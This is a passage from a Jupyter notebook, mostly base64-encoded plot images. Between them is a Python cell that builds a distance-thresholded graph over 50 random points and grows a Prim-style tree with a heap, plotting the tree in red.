LRoUamnJLh06RLNzc2VSdzXrl3j2bNnaWVl\nxXnz5im5Zvbu3auMwZeE8PBwLliwgOPGjaNaraa9vT2bNm3KGYbke8U9pJV3npcxwdGhFi2oAXho\n714mJibSzMxMGXZ7UUJCQvjuu+8ywjD5eMSIETQzM1MWQEhSrj/++IMVKlTIt7AiL11oKNPMzXnN\n0pJZT0r2WrcuaQhyNm7cWODCk9TUVFasWFFZZTZs2DDa2toWuML5UUeOHHlsXmJhqw1JcsOGDQTA\nb2xsSIA6gD8IEwJgq3kH+Xvgbe4eMYKXbG1JgDn29jzQsiVvFWHS9cOlS5llZcVUgGeGDi1TaRRK\nW1paGrt3764cr/v379Pezo6zW7ViUO4KToCb7OwYVkDer6ysLFarVk0JnCXjvPSB1a6/7/JA49cY\nZ2HD/8z8g93e+YBCCHbq1ImWlpbcsmULL1y4UKwFakNDQzlq1CguW7aMU6ZMUZbQGyMkJISVK1fm\nxo0b6evrSzs7O44YMYJnz55luXLlaGVlVSqTy/PKysri+vXr+eabb3LMmDG8e/cu7e3t2b9//2ee\nT1aY6dOn09nZ+ak5qHQDBlDj7q7/v07HEydOvJChy8DAQKX2Wm65oi+//JIklRqMkvSoWbNm0czM\n7InJGQNnzyYBnqtTp9Dg4W6bNnxgWEl36dKlAnuidDodExMTldWw/v7+rFy5MidOnKhsL4xWq2Wz\nZs3Yrl27fJ/lmJgYzp8//7HPd246mc8//5zBo/UXsFqAjQCOaTWQNyu6kgAjheDtiROLVFYm6fZt\nBtauTQLMatKEMYZUEFLhzp07R2tra6X80r6FC7lOpWKW4bicr1qVm0eOZE6eC+GdO3dy+fLlcpVg\nEbzUgdWuv++y9rTdjAG4GYIqO2eWr9+R7wwfy59//vmFFR/etGkTAbB27doEwNDQ0Kfe59ChQ7x+\n/TpJfVmcNWvWUAjBL774gsHBwdRqtRw8eHCxFzQtDuHh4RwyZAgrVqzIhQsX8syZM+zWrRu//vpr\no4YgnmTEiBG0trZm2FOGDILMzXnS0pLp6elP3beocq/OQ0JCCIDt27cn+b8EsZJkjNzPkVarZd++\nfR9L2EmSJzt0IAGmff99gY+x3sODWoAPIiIIgNOnT8+3PTQ0lHXr1uXZs2fz3Z6WlsasrCz6+/vz\n1Vdfpf8TeowSExOpVquZkpKiJDaeOHEiAfC///0vGzRooKR32bFjB9966y3GxMSw9YKjnCf0ZVk0\nhgnV1yu68lOXVzh65Ehu2rSJsbGxXLhwIRcsWMAjR44wPj6eGzdu5G+//ca///6bSUlJ9PX15YXv\nvuMDCwtqAB74z394MziYKSkpzMnJkRcwRsgNnidNmqSv0rFkCc906cLY3ONiackTw4czPTGROp2O\nnTt3Zrt27Uqtfuw/zUsdWLVZeJxd3tKvuhkG0Lbt+3QetIiWTtXo5OTEdEMphgEDBrBXr17KcNZP\nP/3EZcuWKR/OO3fuFClrd0JCAnfs2MGAgAD+9ttvTz0JXLlyhSYmJqxVqxavX7/OevXq8fjx43z3\n3XcphODw4cOf8R0oWTk5OczIyKCPj49Si2znzp3cs2cPZ86cyUuXLj3TnKfcrNKFvY86rZYpAFeW\nK8fBgwdTCKH0Kj0PnU7HSpUq6WumGXz88cc8evTocz+29PLavn07AXDAgAGPbdNqNExs04bZQIEp\nBG5+/TUJ8P6BAwTwWKb0fv360d7ennfu3CnwuX18fGhtbc2aNWs+ce5fcnIy3d3d2bdvXz548IDH\njh3jZ599xv379xOAknMprxpT97HysB8ZbKKiBuCHTjVYdcRKmljasnr16hw6dCgvXbpEAKxYsSI/\n/PBDBgYGEgDt7e35ySef8OShQ1xs6F2JLl+eO778kgBoaWnJL774gocOHSIAmpmZcebMmTx06BAr\nVarEypUr88cff+SRI0fYtGlTNm3alBs3buTJkyfZu3dvvvnmm9y/fz/9/Pw4atQojh49mn5+frxw\n4QLnzp3LRYsW8erVq7x27RrXrl3LrVu38s6dO7xz5w6PHj3Ks2fPMj4+nvHx8bx58ybv3bvHrKws\nqtXqMh+MhIWFKSsMG9euzREA71hbkwDvCsGlLi68eOIEJ0+ezKatO7L118dYY+o+tll4nLv+LrlV\n4f8kxgZWpvgXik7KhG21+hhTrzN8NZmwb/MehIkKKeUrobJ1NiwsLAAAp0+fRlJSElQqFQBgypQp\n0Gq1GD16NADAw8MDJiYmyM7OBkm4urqiYsWKuHLlCkiid+/eqFatGlasWAGdTodNmzahevXqePXV\nV9GyZUukpaWhfPnyhbazbt26GDJkCNzc3DBy5EjY2NjA3Nwc48ePR1hYGMaOHfvi36xioFKpYGlp\niT59+uDNN9/EtWvX4O7ujhkzZmDTpk2YP38+goODERERAQsLC3Tq1El5z5/EwsIC6enpaNCgAVq0\naIEdO3bk25544wYqAICnJwDA3d0dDRo0eKbX8Nlnn+Ho0aMIDQ2FEAJNmjSBra2tsn316tXP9LiS\nlGvAgAHYvXs3evXqBQA4duwYWrVqBRsbG5iYmoIbNiCuQQNU/fxzxLZqBaf69ZX71n77bWD6dFSM\nicHWrVvRuHHjfI/dqVMn1KtXD9WqVSvwufv06YO///4bMTExEEJg6dKlGDZsGOzs7PLtZ2tri+rV\nq8PHxwf79u1DlSpVEBUVBQCIjY2Fo6PjY49d1d4Sd9Iq4M0vdkIQyDE1gxmAVrN2wW9aFwD6C/jM\nzEykp6fDzMwM5ubmCAkJQXJyMhxjYpD91luYDGCfiwuq79yJttWr47cGDRAfH4/WrVujUqVKmD9/\nPuLi4tChQwc4OTmhb9++SEpKQo0aNWBhYQFnZ2ekpqbC1NQUqampiIiIQGZmJh4+fIj4+Hh4e3sj\nOzsbjRs3hlqtxqxZswAATk5OSEpKwqRJkwAAGzduxN27d/HVV18BALy9vXH9+nX83//9HwBg165d\nOH/+PL755huQxP79++Hv7w8vLy+YmZlhy5Yt8PPzg7e3NywtLbFs2TL8+eefOHToEKytrTF//nyc\nPXsWfn5+sLW1xcSJExEYGIgrV67Azs4OgwcPxtWrVxEeHg47Ozt0794d4eHhePjwIezs7NCoUSPE\nxcUhIyMD5cuXh5OTE3JycqBSqfKdVz08PJT/+xw5Am9vb7hNmoTzCxYgafZsjLt3D5ldu6KJYyUc\nsnVBePAFWLjWx72kTHz1RxAA4K2mLoV/oKXCGRN9vYifF91jVX3qvsd+2iw8/sT7nT59mvv37yep\n77UYN24cP//8c5L6SdoNGzZkmzZtSOonipqZmbFSpUokyfj4eAKghYUF33zzTS5evJgAlF6P+/fv\ns0qVKuzbty9nzZrF2bNns2fPnuzZs6eSiBR5sh3nrtT5pwsLC+PatWup0+lYr1491qhRg25ublSr\n1UopnifJTSDao4B8P9pTp0iA2YZ6jnkTvD7N2bNn+frrrys9kr169aKNjc1zD2FKkjESEhKoUqno\nkidzOUmG7djBDIDRdeqQeReGaDRUm5jQr21bBgQE5Ju/efLkySJ99nMX7ri5ueVLKTNt2jTWqVOH\naWlpPHnyJD/77DMuX76cOTk5fPvtt/nRRx8V+Hg7Am8TAMu51lPOtXVmHnxqr4dWo+HJPn2oNTNj\nqrU1/UswjUJOTg5TU1MZHx/PjIwMJiYm8sqVK7x48SLj4+N5+/Zt7tmzh3v27OG9e/d46dIlLl26\nlCtXrmRERARPnDjBqVOncsaMGQwJCeHOnTs5ZMgQDhs2jNevX+eKFSvYvXt3du7cmVevXuWcOXPY\nrFkzenp68urVqxw9ejTd3d1pYWHBq1evcsCAAaxatSoBMCQkhH379qWrqysB8Pbt23z99ddZvXp1\nAmB0dDRfe+01ZXQgLi6O7du3p4eHB01NTZmSksIePXqwefPmdHd3Z3Z2NgcOHMjXXnuN//nPfxga\nGspatWqxbfny3GZpyWxDT+EugD3fW2D09+XLCC/zUOCuv++yzsyD+YIqY/7Qn0Vut7parVaCKQD0\n9PTkwIEDlbkQkZGRdHV1Zffu3alSqWhnZ6fs6+fnpySDa9asGUn9ZEQA7Nq1K0n9qkEXFxdOmTKF\npL5uYb9+/ZT8M/Hx8fT29ubt27eL/TUWl6SkJK5Zs4YLFy5keno6LS0tWbt2bWV4IbGQVVF5Vx7m\nHcbY3qsXCfDjTp146dKlJz63Tqejj48Pbxmq3k+ePJkAlNIbMjWCVNK++uor5fOnVquVIe/4JUtI\ngL6vvppv/ysmJjxuYUEAXLp0KUl9CS5TU1NOmDChSM/9888/c+DAgfT29mZISAh1Oh379OnDcuXK\nKatdf/jhB77zzjvUarV0cnJixYoVC7zYi4+PZ5PWHVn99U+NHkqKCQzkRUPG9aCaNcmX/IJGrVYr\nCw80Gg2jo6N58eJFXrx4UZkjt2HDBq5Zs4b+/v786aef+Pnnn3Ps2LFcuXIlhw0bxh49erBLly4c\nM2YMX3nlFWU6Q+fOnWlubk6VSkV7e3u2bt2aQggCoJWVFd0cq3MuwFiAn7w1XfnOrDFVziN91Esd\nWJH64KrNwuMlOmaclZXFPXv2cO/evQXWDdNoNNTpdFy3bh2bN29OMzMzNmrUSFnNs3TpUh4xFBIN\nDw9n586dlcLJ586do52dHUeNGkVSv4wbeeZr5M7fyM1vs23bNgohlBVBR44coaurK9esWUNSH6gN\nGjRIWQZ+//59Hjt2rMTSTmg0Gh4+fJhDhw7l3LlzeePGDapUKnbu3LnQQqE+Pj60sLCgj6Hw63oX\nF6oBqgDOnj37sf21Wi2TkpJI6tNUAFCWoickJJSJWomSRJJdu3ZlpUqVlIuLU/XrkwDPT5um7HO7\nXTumODgQAJcsWUKSnDFjBlUq1RMnpRfm66+/Vr5cW7Zsyejo6HzzGUePHk0TExOuW7eOYWFhxXZu\nCJoxg1pbW6YJwTMffvivT6OgVquZlJTEiIgIRkVF8fjx4wwMDOS2bdt46tQpzp07l+vXr+eUKVO4\nevVq9u7dm5MnT2aPHj345ZdfsnLlyuzTpw/r1KnDjz76iJUrV2aTJk1oZ2fHfv360dXVlc7OzhRC\ncNCgQezTpw+dnJwIgFOnTuXXX3/NOnXq0NbWlhs2bODRo0c5fvx4Dhs2jCEhIXx11m66jNtCzwk7\n6D7ZR/ZYPcFLH1iVNb1792adOnU4evRoOjo6ct++fbS2tubgwYOfqbdEp9MxOjpaX0eK5L179zht\n2jT++eefJPWBWMOGDZUkfZs2baK5ubmSzX3+/PkEoNQJmzVrlj4vjWH7nDlzqFKplKFJLy8venp6\n0s/PjyR5/Phxjh07lpGRkcrzX7169ZnzWkVFRXHixIn09PTkzz//zH379rFRo0acMGGCcgV95swZ\nWlpa0tvbmyT5Z9WqDBWCo0aNUhYk5EpPT6eFhQWbNm1KUh9kffLJJ8UyuV2SitvAgQPp4eGhXFDk\npKfzmp0dU4WgOrf2nmECu8/GjUrPtFqt5mlDrb6nSUxMZP369ZUhvZSUFL777rvs27cvzczMHltR\nqFarOXXq1HzDhQUllDx27JhRK60TIyJ43pBGIbZWLWYFBxvV7tKk1WqZnJzM2NhYXr58mVFRUdy7\ndy/PnTvHX375hQEBAZw8eTI3bdrE9957j3/88QdbtWrFuXPnskaNGvzhhx8IgGPGjKGNjQ0XLlxI\nAPzss89ob2/PuXPnKlnqXVxcOG/ePLZv3579+/enra0t582bx1mzZrF169YEwO+++45Hjx5VRji2\nbt3KtLQ0Tp8+nQ0bNuS1a9dI6pMtb9u2zagh4pIc4fmnk4FVKdBoNOzYsSObN2+eL5dSRkYGXVxc\nqFKpaGlpyU8++YQ6na5U81JlZGTwwoULTEhIIEleuHCBo0aNYrDhZLd+/XrWqlVLKez65Zdf0tTU\nVKlf+O677xKAUon97bffnBmQ3wAAE7pJREFUJgDuMcx3Gjp0KK2trZU6V3PnzmWrVq2Uobhdu3Zx\n/vz5So/SgwcPlCBRq9Xy0KFDbNGiBYUQPHLkCNetW8fhw4fz8OHD+tpof9/l9Uo1eLxmC6VHsnfv\n3qxXr57yGtu3b8/x48e/0PdRkopLblD1119/sWXLlrx25AjVFSrwnq0tU+7d460ffiABbh0/nvHx\n8Zw9ezYXLlz4xMeMiYlRSpdotVra2Niwc+fOBe5H6nvAxo4dm+9i7/79+5w2bRoXLVpEADzwSMJJ\nlUrFatWqPbEdaXv3MtnenhqAp7t1o+YpcyuLi1qtZkxMDKOjo+nv7887d+5w+/bt/PPPP/ntt98y\nICCAY8eO5aZNm/jmm2/Sx8eHjRs35tdff017e3uuXr1a6fkBwF9//ZUAOGXKFALgypUraWFhwTlz\n5rB27dr8/fff2a1bN65du5ZDhw7l4cOHOW/ePHp5ebF58+bcsmULfX19uWDBApqZmfHHH39kTk6O\nkh7hu+++I0n+97//pbm5uTLV448//mD//v2VFD7x8fHFOrpQGiM8/0QysCoFWq1WmTd18uRJajQa\nBgcHc9GiRRw3bhy7dOlClUrF9evXl3ZTn9v9+/d55MgRJTDavXs3hw0bpiz3nj59OmvWrMmrV6+S\nJHv06EGVSsXz58+TJJs2bUoAypBpo0aNCEDpUeratSudnZ158eJFZmdmsk3TpnQpV45uAFctXMZm\nFuWZDnAVwGpT9rDOzIOsVb8Jq1SpUuaXQUvSkwwbNowAeOjQIV784QdqAN5o2JD+mzeTAIcDXLVq\nFR0cHPiGoZRTYdzc3CiEUL6En9SjrNVq2bNnTwohuGDBAuX2devW0cTEhO+99x4dHByUHuPc+0yZ\nMkWZ8/WorORknmnVilqAGg8PhmzebPT7kJOTw6ysLIaHhzMyMpInT55keHg4169fT19fX86dO5fn\nzp3jxx9/zPXr1/O1117j7t276enpyfnz59Pc3Jzr1q1T8n4B/6vjOmPGDALgb7/9RgcHB37zzTds\n0qQJ9+7dyz59+nDLli0cN24cAwMD+d1339HPz487duxgZGQkAwICGBYWxmXLlikXjn/99Rfr1q3L\nxYsXkyR/++03AuCIESNIkqtWrSIAZSrH7t276ebmxs2G9+PmzZv8/vvvefcpdf6k0iUDq1Kya9cu\n7t69m1lZWWzQoAEB0MHBgQMGDGBqamqRsrGXZTqtltnJyUyNjOSDv//m/TNnGOHjw6gdOxi0dClv\nLlnCK7Nm8cb06QwcPpyXP/yQF955h0FvvcXAdu14tnFjnnJ3Z3D9+gyqUYMX7Oz4t4UFIytUYLS1\nNe+ZmDAeYJah/lVhP1sBOn+wmNWn7mPrr4s3+7sklZbLucN/JDc1bUoCvDhoELNNTbnEMGTfpEmT\nx6oMrFy5kuXLl1d6nrds2cIVK1YYnVhTq9XSy8uLCQkJDA8PV+oHvv322/z++++NXqms0+mY7u/P\n8PLlSYBHatXi7s2bGRISwpUrV/Lw4cOcNm0aT506xffff5+rVq1imzZt6O3tTVdXV86cOZMwBJB5\ne4hyf8/tQVqzZg2rVq3KxYsXs3Xr1ty/fz/fffddent7c+rUqbxw4QKXL1/OgIAA7t+/n3fv3mVQ\nUBDj4uKYkpKS7/XkDvuRZFxcHMeOHcsVK1aQ1C8ScHBwYL9+/UiSBw8eJACl9+/w4cM0NzdXhlmD\ngoL4xhtvKD36KSkpDAsLkwlO/+GMDayEft+S16JFC/7111+l8twvyu6L9/Dt4ZuITsqEdcJNWIce\nQaDvYZibmyM4OBi1atV64W3IycxEemwskJmJ5JgY2JiY4H5EBMqrVHhw+zaq2Nkh4to1VLa1Rcyt\nW6jm5ISI4GBUdXBA7J07cHV0xL2QEFS1t0fygwdwLl8eSTExqGhpiZzUVNiamgIZGbAEYPIM7dMJ\ngUwhkGNmhmwTE9DSEmk6HWBlhRxTUwgbG6STUFlbg1ZWMLGyQrZKBRNra6jKl4eJjQ2W+99DZkos\nXFJicek/7yDYsxUAQACIWPRGcb6dklSqNm7ciKFDh+JYhQronJiI2+UrINLcBhMGz8LsId3xdjNX\nbN26FW5ubmjXrh1+//13DB48GGvWrMGgQYOe+Xm1Wi3ee+897N69G8OGDcP48eMRERGB6OhohIaG\nwsRE/9eflpaGqKgodOzYEdu3b8cHH3yAX1euxKeZmRgVGYksS0t8DMBx6FCsWrUKCxYswKJFizBk\nyBD8+uuvWLJkCVatWoUhQ4bg6NGj+Pzzz7Fnzx706NED165dQ58+fXD58mU0atQIycnJqFevHtLS\n0lCpUiVYWFjAzMzM6Ndz9uxZZGdno2vXrkhMTET//v3h6uqK9evXIzQ0FHXq1EHNmjURGhqK4OBg\nNGjQAJ6enggJCUFoaCh69OiBnj17Yvny5YiLi4OXlxc6duyINm3aPPP7LP2zCCEukGzx1P1kYFU8\ndl+8h6/+CMKNHz4AMlMgVGawqdUCs2d+hY97vAoLEqkPHsCCxMPbt2EFIDYyEpVsbHD7+nVUsrHB\n3bAw1KxcGWGXL8PV0RF3b95ELVdXRFy9CjdHR9yPiEBNZ2dEh4ejip0dUh8+hHP58shMSICdqSlU\navUzZ3xVm5oiTauFub09YtPSYOXoiLj0dFRwc0NUXBwcq1XDg9RUVHF3x53YWFSpWRNxGRmoXLMm\nYpKS4OzujhSNBk7VqyMpOxsVXF2hVqlgV6UKcszNYePkBFNbW5hbWwNCPNd73XbRCdxLynzsdhd7\nSyUhoST9G+h0OkyaNAnNOvVDi36dUUObgxQAlVXm8JywCRM7VMHovu3RuHFjXLp0CSSh0+mQlZWF\nlJQUqNVqpKamIikpCcnJyTAxMUFiYiKSkpLw8OFDODg4ICoqCpmZmQgLC0Pt2rURFBQEc3NzXL9+\nHUIICCFQv359nD9/HnFxcQD0SYGrV6+OyMhICCEwdepUhISEoE/TpnCfMwdtsrJwwtYW1ps34yGJ\n6tWrIyMjA+7u7gD0iUgtLCwgnvNcoFarYW5uDpL49ttvkZqainnz5kGtVqN+/fpQqVS4ceMGUlNT\nYWtrCzs7O+W9cHR0RM2aNXHz5k2kpqZi0KBBaNq0KebOnQu1Wo2goCB4enrmSxQsvdxkYFXCcr/s\n133TG24ArABYArA2UcFcp32mx8wCIKyskJCVBUsHBzxMT4ejmxvuxMbCsVo13IuPR/W6dRF67x5c\natVCVHw8ajVsiLCYGLh5eiImJQU169fH3fh4VPHwQLJajaq1aiFZrYaDiwtoaYnylSpBZW0NYfIs\n/U+lIzeIzdT87321NFNh4TsNZaZg6V+p7aITEIEncWzXfFgAqAwgu9NwWGqSUd8yGWq1Gm5uboiL\ni0PFihUREBAAV1dXkISzszOCgoJQsWJFlCtXDra2toiMjISzszOqVKkCe3t7ZGVlwcbGBq6urrCw\nsIBKpYKFhQWqVq0Kc3NznDlzBnPmzIGrqyvi4uIwa9YsfP7559i3bx+Sk5MxZMgQnBs3Dq+uXw9N\nZibOf/AB2q1d+1znlbCwMISFhaFr164wNTXFqFGjEBoaisOHD8PMzAyOjo5ISEiAWq2GqakpLCws\nkJ2dDY1GA1NTU9StWxfly5dHQEAAhBBYsGAB3NzcMHToUP1wzXMGddLLx9jA6l9Z0qY0RBt6UKLq\ndULMzbPQutRBemYqNE410NAZcPX0xL3ERNRq2BB3YmNRtVYtxGdkwO2VV5CQmYmKbm7INjFBBVdX\n0NISlg4OsDB0c1cxPIe94d8Khn/dDP/mbs8tYOD6yO9VH9k/9/7/VLnBU+6wa1V7S0zu8YoMqqR/\nreikTGhrNsP35awwPTsDvQDsTHmApJQ49Pn8AwQEBKBVq1ZIS0tDgwYN0L59e3h4eEAIARcXF6jV\najg5OaFcuXKwt7c3qqRUXlWqVMHKlSthamqK0NBQnLyVitZz9+FhlgoeOhO4uFRDl+goRFSuDPeL\nF9E+TzmVvHIv5IUQ2LNnD/z8/DBt2jQ4ODigX79+OHfuHM6fPw8XFxd07NgR0dHRiIyMhJubG/bv\n34+EhAQkJCTA2dkZvXv3RmZmphJI+fr6omLFispru379er7nnjFjhvJ/GVRJL5LssSomcnhKkqQX\nJff8YqrNgWNaIu7bOQEo2fOLRqPBgwcPcPp2Oj54rRmgyUQP1wZYmxAFp/Qk7GrZFpW+/j80bdkS\ndnZ2WLVqFbZu3YqVK1eiTp06eOONN3Do0CGcOXMGbdq0QYsWLXDhwgWcPXsWrVu3Rt++fXHx4kWc\nPHkSHh4e8PLywv379zFx4kTY2NhAp9Mpc7skqTQY22MlP6XFZHKPV2Bplv8q0NJMhck9XimlFkmS\n9G+Re37JUZkqQVVJn1/MzMzg6uqKxTtOw1Sdge9IHIoKQppOh7fenY/PMlXo3K0bDh06BAA4evQo\nTp8+jbCwMABA+/bt0apVK6WQ8+rVq+Hr64vmzZsDAHx8fBAZGakUDx45ciT++9//wsbGBgBkUCX9\nY8geq2KUd1WgHJ6SJKk4lZXzi/u0/dAk3MNvG77Azex0LOr1BVSNuiAz/G/0tY/C9OnTUaNGDWRn\nZ8PMzEwGRNK/hpy8LkmSJBW73GFJM60GGtX/0h3IaQ/Sv50cCpQkSZKKXe6wZN6gSk57kKT/kasC\nJUmSJKPJVbmS9GQysJIkSZKK5K2mLjKQkqRCyKFASZIkSZKkYmJUYCWE6CmEuCmECBNCTCtguxBC\nLDVsvyKEaFb8TZUkSZIkSSrbnhpYCSFUAJYB6AWgHoD3hRD1HtmtFwBPw88nAFYUczslSZIkSZLK\nPGN6rF4FEEYynKQawDYAfR/Zpy+ADdTzB2AvhKjy6ANJkiRJkiT9mxkTWLkAiMrz+13DbUXdR5Ik\nSZIk6V+tRCevCyE+EUL8JYT4KzY2tiSfWpIkSZIk6YUzJrC6B8Atz++uhtuKug9I/kqyBckWTk5O\nRW2rJEmSJElSmWZMYHUegKcQwl0IYQ7gPQB7HtlnD4ChhtWBrQAkk4wp5rZKkiRJkiSVaU9NEEoy\nRwgxFsBhACoAa0kGCyE+NWxfCeAAgNcBhAHIAPDRi2uyJEmSJElS2WRU5nWSB6APnvLetjLP/wlg\nTPE2TZIkSZIk6Z9FZl6XJEmSJEkqJjKwkiRJkiRJKiYysJIkSZIkSSomMrCSJEmSJEkqJjKwkiRJ\nkiRJKiYysJIkSZIkSSomMrCSJEmSJEkqJjKwkiRJkiRJKiYysJIkSZIkSSomMrCSJEmSJEkqJkJf\njaYUnliIWAB3nvNhHAHEFUNzpBdDHp+yTx6jsk0en7JPHqOyrTiPT3WSTk/bqdQCq+IghPiLZIvS\nbodUMHl8yj55jMo2eXzKPnmMyrbSOD5yKFCSJEmSJKmYyMBKkiRJkiSpmPzTA6tfS7sB0hPJ41P2\nyWNUtsnjU/bJY1S2lfjx+UfPsZIkSZIkSSpL/uk9VpIkSZIkSWVGmQ+shBA9hRA3hRBhQohpBWwX\nQoilhu1XhBDNSqOdLzMjjtEHhmMTJIQ4K4RoXBrtfFk97fjk2a+lECJHCNG/JNsnGXeMhBCdhBCX\nhBDBQohTJd3Gl5kR5zg7IcReIcRlw/H5qDTa+bISQqwVQjwUQlwtZHvJxgkky+wPABWAWwBqAjAH\ncBlAvUf2eR3AQQACQCsAAaXd7pfpx8hj1AaAg+H/veQxKlvHJ89+JwAcANC/tNv9Mv0Y+TdkD+Aa\ngGqG3yuVdrtflh8jj890AN8Y/u8EIAGAeWm3/WX5AdABQDMAVwvZXqJxQlnvsXoVQBjJcJJqANsA\n9H1kn74ANlDPH4C9EKJKSTf0JfbUY0TyLMlEw6/+AFxLuI0vM2P+hgBgHIDfATwsycZJAIw7RoMA\n/EEyEgBIyuNUcow5PgRQXgghANhAH1jllGwzX14kT0P/nhemROOEsh5YuQCIyvP7XcNtRd1HenGK\n+v5/DP2Vg1Qynnp8hBAuAN4GsKIE2yX9jzF/Q7UBOAghfIUQF4QQQ0usdZIxx+cXAHUBRAMIAjCe\npK5kmicZoUTjBNMX9cCS9CghRGfoA6t2pd0WKZ8fAUwlqdNfcEtlkCmA5gBeA2AJ4JwQwp9kSOk2\nSzLoAeASgC4APAAcFUKcIZlSus2SSkNZD6zuAXDL87ur4bai7iO9OEa9/0KIRgBWA+hFMr6E2iYZ\nd3xaANhmCKocAbwuhMghubtkmvjSM+YY3QUQTzIdQLoQ4jSAxgBkYPXiGXN8PgKwiPoJPWFCiAgA\ndQAElkwTpaco0TihrA8FngfgKYRwF0KYA3gPwJ5H9tkDYKhh1n8rAMkkY0q6oS+xpx4jIUQ1AH8A\nGCKvsEvcU48PSXeSNUjWALATwGgZVJUoY85zPgDaCSFMhRBWAP4D4HoJt/NlZczxiYS+NxFCCGcA\nrwAIL9FWSk9SonFCme6xIpkjhBgL4DD0KzPWkgwWQnxq2L4S+lVMrwMIA5AB/ZWDVEKMPEazAFQE\nsNzQK5JDWbS0RBh5fKRSZMwxInldCHEIwBUAOgCrSRa4tFwqXkb+Dc0D8JsQIgj6lWdTScaVWqNf\nMkKIrQA6AXAUQtwFMBuAGVA6cYLMvC5JkiRJklRMyvpQoCRJkiRJ0j+GDKwkSZIkSZKKiQysJEmS\nJEmSiokMrCRJkiRJkoqJDKwkSZIkSZKKiQysJEmSJEmSiokMrCRJkiRJkoqJDKwkSZIkSZKKyf8D\nbMXgQMX/wugAAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x11a540510>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "import heapq\n", "import numpy as np\n", "\n", "N = 50\n", "thr = 0.35\n", "lb = 0.1\n", "X = np.random.rand(N,2)\n", "D = np.zeros((N,N))\n", "\n", "for i,j in product(range(N),range(N)):\n", " D[i,j] = np.sqrt((X[i,0]-X[j,0])**2 + (X[i,1]-X[j,1])**2)\n", " if D[i,j]>thr or D[i,j]<lb :\n", " D[i,j] = np.Inf\n", "\n", "visited = np.empty(N,dtype=bool); visited.fill(False)\n", "\n", "root = 0\n", "visited[root] = True\n", "numvis = 1;\n", "spt = np.empty(N,dtype=int)\n", "spt.fill(-1)\n", "spt[root] = -1\n", "\n", "q = []\n", "\n", "\n", "for j in range(N):\n", " if np.isfinite(D[root,j]):\n", " heapq.heappush(q, (D[root,j], root, j))\n", "\n", "\n", "while numvis<N:\n", " if len(q)==0:\n", " break;\n", " d,i,j = heapq.heappop(q)\n", " while len(q)>0 and visited[j]:\n", " d,i,j = heapq.heappop(q)\n", " \n", " spt[j] = i\n", " visited[j] = True\n", " numvis+=1\n", " \n", " for k in range(N):\n", " if np.isfinite(D[j,k]) and not visited[k]:\n", " heapq.heappush(q, (D[j,k], j, k))\n", " \n", "print(spt)\n", " \n", "plt.figure(figsize=(10,10))\n", "plt.plot(X[:,0],X[:,1],'o')\n", "for i,j in product(range(N),range(N)):\n", " if not np.isinf(D[i,j]):\n", " plt.plot(X[[i,j],0],X[[i,j],1],'k:')\n", " \n", "for u in range(N):\n", " if spt[u]!=-1:\n", " plt.plot(X[[u,spt[u]],0],X[[u,spt[u]],1],'r-')\n", " \n", "\n", "\n", "plt.show()\n" ] }, { "cell_type": "code", "execution_count": 3, "metadata": {}, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAATYAAAE/CAYAAADMs+9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzsXXeY1FTfPdllC7vs0haQ3kFpiqIgKPKiIvAKIiKIBRuC\nigUsKIoCKvb2Kdiw4iLYG4iigBVEUEEQ6bAs0lnqwrbJ7/vj7H2TySSZZGYWFOY8T57dmUlubpKb\nc3/9aiKCOOKII46jCQlHugNxxBFHHLFGnNjiiCOOow5xYosjjjiOOsSJLY444jjqECe2OOKI46hD\nnNjiiCOOow5xYosQmqbV0zTtgKZpiR72baBpmmiaVu4w9Ku8pmmfa5q2V9O098voHBs0TTunLNo+\nktA07R5N0179B/TjW03TBkd4rOdxeTQjTmw28PLiishGEakgIoEYn3uspmnZUTTRD0ANAFVF5GKH\n9os1Tdtfuq3SNG2Cpmk1ozjnPxqapnXRNG1TuP1E5GERiYhQjhSsY7WsxuW/DXFiiwCHQ/KKAvUB\nrBKREpd93hWRDABVAFwI4DgAvx7N5BYO//BnGodfiEh8M20A3gagAzgE4ACAkQAaABAA1wLYCOB7\n03flSo/7FsAjAH4BsA/ApwCqlP5m3bcWgM8A5AFYA+C60u+7AygCUFx67iUOfTyh9Hx7APwJoHfp\n9+Msx19rc+xYANmW7xIBLAHwpOm78wEsLj3HPABtTL9tAHBO6f+nAZhfut8WABMAJNtdt+k+DS79\n/yoAPwJ4EsBuAOsB9DDtezWAvwDsB7AOwFDTb8sA9DJ9TgKwE0Bby7Wllz5LvfSeHCi9/2MBfAAg\nu/R5DbbeGwDvA9gKYG/pM29p+u1NABMBzCjt3wIAjU2/dwOwsvTYFwB8Z7pu63ms48N8jxoDmANg\nV+n1TQFQycNYdR1rpn68B2By6TX8CaDdkX4HY7HFJTYLROQKkLx6CUX6x00/nwWSynkOhw8CcA2A\nmgBKADznsN80AJvAQdcPwMOapnUVkS8BPAxKVBVE5ETrgZqmJQH4HMAsANUB3AxgiqZpzUVkjOX4\n1zxecwAk4jNLz9EWwOsAhgKoCuBlAJ9pmpZic3gAwAgAWQBOB3A2gBu9nLcU7UECyALwOIDXNE3T\nSn/bDhJsJkhyz2iadnLpb5MBXG5qpyeALSLyu+Xa8gH0ALC59J5UEJHNpT9fAJJbJZAwrJgJoCl4\nn3+z2ecScDKpDJLGeADQNC2rtN1R4P1bCaCjl5thAw2cMGuBY68uSEjhxqqC7Vgz/d67dJ9KIAFO\niLCf/yjEic0fxopIvogccvj9bRFZVvoy3Qegv9WIq2laXQCdANwlIgUishjAqyApekEHABUAPCoi\nRSIyB8B0AAMjuSATNoOqKQAMAfCyiCwQkYCIvAWgsPTcQRCRX0XkZxEpEZENIAme5eO8OSIyqZRc\n3wInhRqlbc8QkbVCfAeS+Zmlx2UD6KlpWmbp5ytACcYP5ovIJyKi2z1TEXldRPaLSCFIJidqmlbR\ntMvHIvKLUO2fAuCk0u97AvhTRD4q/e05UPLzDRFZIyJfi0ihiOwA8DQ83l+PY+1HEfmi9P6/DSBk\nMv03Ik5s/pDr4/ccUD3KsuxTC0CeiOy37FvbYx9qAcgVET3C451QG1RXANrpbtc0bY/aQEmhlvUg\nTdOaaZo2XdO0rZqm7QMlRus1u+F/L7yIHCz9t0Jp2z00TftZ07S80j70VG2XSl0/AbhI07RKoFRm\nJ3W5wfF5apqWqGnao5qmrS29rg2lP5mvzUxWB1W/UfqMTNcloNTkG5qm1dA0bZqmaX+X9iMb3u+v\nl7FmvYbUo8HeGCc2eziVPAlXCqWu6f96oK1rp2